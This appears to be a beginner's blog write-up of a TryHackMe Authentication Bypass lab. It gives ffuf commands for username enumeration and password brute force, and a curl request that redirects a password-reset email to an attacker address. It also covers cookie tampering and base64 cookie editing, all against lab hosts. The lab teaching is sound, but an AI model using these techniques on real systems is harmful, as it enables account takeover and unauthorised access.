Let’s defeat logins and other authentication mechanisms that allow us access to unpermitted areas by learning about Authentication Bypass. These vulnerabilities can be some of the most critical as it often ends in leaks of customers’ personal data.
You still have access to follow me on Twitter and the hashtag #FromZeroToHacker 🙂
Table of contents |
Introduction |
What I have learnt today? |
Stats |
Resources |
Introduction to Authentication Bypass
Username enumeration
One great way to break into a system is by trying to have access to their information as a user. For that, sometimes is a good idea to create a list of valid usernames.
Sometimes, website error messages, when not done well, can give us information about the users. Think about a sign-up form where when you try to create a new user, you are prompted with a ‘This username already exists’ message:
I tried to register the admin user, and now I know there is a user called admin. We can use this knowledge to try to force our way into the system as the admin user. Probably there is more than one user, so let’s automate this process with a Wordlist:
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.148.200/customers/signup -mr "username already exists"
We are using ffuf again to enumerate the users again. The -w argument selects the Wordlist, -X specifies the POST method, as we are sending information to the database, -d argument specifies the data that we are going to send (The username, email, password, and cpassword. We use the token FUZZ to say where the contents of our wordlist will be inserted instead of FUZZ ), -u specifies the URL and finally, the -mr argument matches a regular expression.
Pretty cool, right? We have now 4 valid usernames.
Brute force
Now, let’s try to log in with those 4 usernames!
Wait, we don’t know their passwords…
Luckily, we can automate the process of finding out the passwords of the users we have with a brute force attack… A brute force attack is an automated process that tries a list of commonly used passwords, against a single username or, in this case, a list of usernames.
First, let’s create a valid usernames list with all the usernames we found before:
![[day_018_usernames.png]]
Now, let’s run ffuf again, but specifying our list of usernames with a list of common passwords:
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.148.200/customers/login -fc 200
Again, we use ffuf, and we use two keywords: W1 as our list of valid usernames, and W2 as our list of common passwords. The flag -X says we are using a POST method, the -d argument specifies the data we are sending (users and passwords), -H the Content-Type, -u the URL, and finally, we use -fc to indicate we are looking for a status code other than 200 (success):
The username steve has thunder as his password. Nice!
Logic flaw
What’s a logic flaw?
A logic flaw is when we can circumvent or bypass the logic created by the web developers:
Logic flaw example
Let’s view an example, in code:
if( url.substr(0,6) === '/admin') { # Code to check user is an admin } else { # View Page }
The above PHP code looks for an exact match on the string, letter casing included. An unauthenticated user could request /adMin, without any privileges, and could have the page displayed to them, bypassing the authentication checks.
Logic flaw practical
Let’s see an example. On a website, we can reset our password. For that, we have to introduce one email, and then, the username associated with it. If both are correct, a reset email will be sent to the email address specified.
![[day_018_logic_flaw_practical_username.png]]
![[day_018_logic_flag_email_sent.png]]
If we have a username and an email, we can reset the password. The server will send an email to…the email we don’t have access. So, what’s the point?
First, we can emulate this process done in a website, using curl in our terminal:
curl 'http://10.10.148.200/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
You know this code: We send a request to the URL with an email, and we get a response in HTML form.
In the application, the user email account is retrieved from the URL string, but later on, in the application logic, the password reset email is sent using the data found in the PHP variable $_REQUEST
.
So, we can tell the server to send the email to OUR account:
curl 'http://10.10.148.200/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
Check the end of the command: Now we are telling the server to send the data to attacker@hacker.com.
Cookie tampering
Examining and editing the cookies (Here is a refresher on cookies) set by the web server during your online session may be a good way to grant you access to places you shouldn’t have. And something we like to do 🙂
Unauthenticated access, access to another user’s account, elevated privileges…
Plain text
Sometimes the content of some cookies can be in plain text, being obvious what they do:
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/
The cookie logged_in may appeal to you, but your eyes may have gravitated to the admin=false cookie. If we change the contents of these cookies, we will have admin privileges.
Let’s try something:
The message is clear: Our request isn’t logged in. But let’s set the cookies for that request, giving us a logged_in=true status
Let’s be a bit cheeky and set the cookie to admin=true:
Way better, right? 🙂
Hashing
Sometimes, the cookie values are in plain text, but in what seems like a long string of random characters. Those are not random: The content is hashed with an (in theory) irreversible representation of the original text.
There are loads of hash methods: md5, sha-256, sha-512, sha1… Let’s see how it works:
The content hashed is irreversible. But there is a caveat: It always uses the same algorithm, producing the same output every time.
So, where a string containing 1 is always hashed to c4ca4238a0b923820dcc509a6f75849b in md5, and while c4ca4238a0b923820dcc509a6f75849b can’t be hashed back to 1, we have lists of hashes and their original strings. Crackstation.net is a database of billions of hashes and their original string, so when you find a hash, you can look for it in the database, learning what the original string is.
Let’s search for c4ca4238a0b923820dcc509a6f75849b :
As you see in the green code, at the end of the row we have the result: 1.
Encoding
Similar to hashing, encoding creates what would seem to be a random string of text. But in fact, this code is reversible. So you may be thinking: What’s the point in encoding?
Encoding allows us to convert binary data into human-readable text, easily and safely transmitted over mediums that only support ASCII characters.
Common encoding types are base32, which converts binary data to characters A to Z, and 2 to 7, while base64 uses characters a to z, A to Z, 0 to 9, and also +, /, and the equal sign (=) for padding.
This is an example of base64 code:
Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
As you can see, there are lower-case characters, pointing out that it is a base64 code.
This string, once decoded, has the value of {“id”:1,”admin”: false}. We could encode this back to base64, but setting the admin value to ‘true’, grants us now admin access.
Stats
From 179.720th to 175.223th. Still in the top 9% in TryHackMe!
Here is also the Skill Matrix:
Resources
Path: Web Fundamentals
Introduction to Web Hacking
TryHackMe: Authentication Bypass
Other resources
Crackstation.net
Automated Discovery
ffuf
HTTP status codes
Cookies
Base32 Decode Encode
Base64 Decode Encode